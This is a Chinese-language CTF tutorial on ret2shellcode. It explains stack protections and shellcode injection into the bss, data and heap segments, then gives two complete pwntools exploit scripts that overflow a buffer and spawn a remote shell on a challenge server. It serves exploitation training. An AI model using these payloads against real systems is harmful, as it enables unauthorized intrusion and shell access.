文章目录
ret2shellcode
shellcode 之前提了,ret2shellcode是指攻击者需要自己将调用shell的机器码(也称shellcode)注入至内存中,随后利用栈溢出复写return_address,进而使程序跳转至shellcode所在内存。
-
向stack段中注入shellcode
能向栈中注入shellcode的情况非常少见,这是因为目前的操作系统及程序一般都会开启对栈的保护。比较常见的保护手段有:
- ASLR(Address Space Layout Randmization):该防御手段在Linux和Windows中都非常常见。其功能是将一部分内存段(如栈等)的地址进行随机偏移,使得攻击者即使成功注入了shellcode也难以定位其位置,进而达到防御的目的;
- The NX(No-eXecute) bits:该防御手段使得部分内存段(如堆、栈,bss。data等)不可执行,攻击者即使成功注入了shellcode也无法执行其中代码,进而达到防御的目的;
- Canary:该防御手段的原理是在栈底插入cookie信息,函数返回时将检测该信息是否被改变,若被改变则可断定发生了溢出,进而可以立刻终止程序运行。
-
向bss段中注入shellcode
在虚拟内存中,bss段主要保存的是没有初值的全局变量或静态变量(在汇编语言中通过占位符?声明)。若某个程序的bss段可写且可执行,攻击者就可以尝试将shellcode注入写入全局变量或静态变量中。
-
向data段中注入shellcode
在虚拟内存中,data段主要保存的是已经初始化了的全局变量或静态变量。其攻击思路与向bss段中注入shellcode非常类似。
-
向heap段中注入shellcode
heap段主要保存的是通过动态内存分配产生的变量。若某个程序的heap段可写且可执行,攻击者就可以尝试将shellcode注入至动态分配的变量中。
看几道程序吧。
ida 反编译一下
init();
write(1, "Please Input:\n", 0xEu);
read(0, &str, 0x100u);
puts("What,s your name ?:");
return read(0, buf, 0x100u);
我们发现第一个 read 读入 str ,而 str 在 bss 段里,说明它是一个未初始化的全局变量,vmmap 发现这个段有可执行权限。
那我们就可以利用第一个 read 读取 shellcode 到 bss 段,第二个 read 栈溢出来执行 shellcode 的地址
from pwn import *
# io = process('./Easy_ShellCode')
io = remote("120.46.59.242",2109)
context.arch = 'i386'
padding = 0x68 + 4
bss_addr = 0x0804A080
shellcode = asm(shellcraft.sh())
io.sendlineafter("Please Input:\n",shellcode)
payload = b'a'*padding+p32(bss_addr)
io.sendlineafter('What,s your name ?:\n',payload)
io.interactive()
再看一道 64 位的,ida 发现
printf("%p\n", v4);
gets(v4);
打印 v4 地址,然后从 v4 处读取数据。
NX unknow ,说明段可执行,gdb 调试一下。打印出 v4 地址
0x7fffffffdf90
vmmap 看一下,确实可执行
所以思路就是获取 v4 地址。shellcode + 垃圾数据 + v4地址,这样返回 v4 地址就可以执行其 shellcode
from pwn import *
context.arch = 'amd64'
# io = process('./pwn2')
io = remote("120.46.59.242",2061)
padding = 120
shellcode = asm(shellcraft.amd64.sh())
v4_addr = int(io.recvline()[:-1],16)
payload = shellcode.ljust(padding,b'a') + p64(v4_addr) # shellcode + 垃圾数据长度要 = padding
io.sendline(payload)
io.interactive()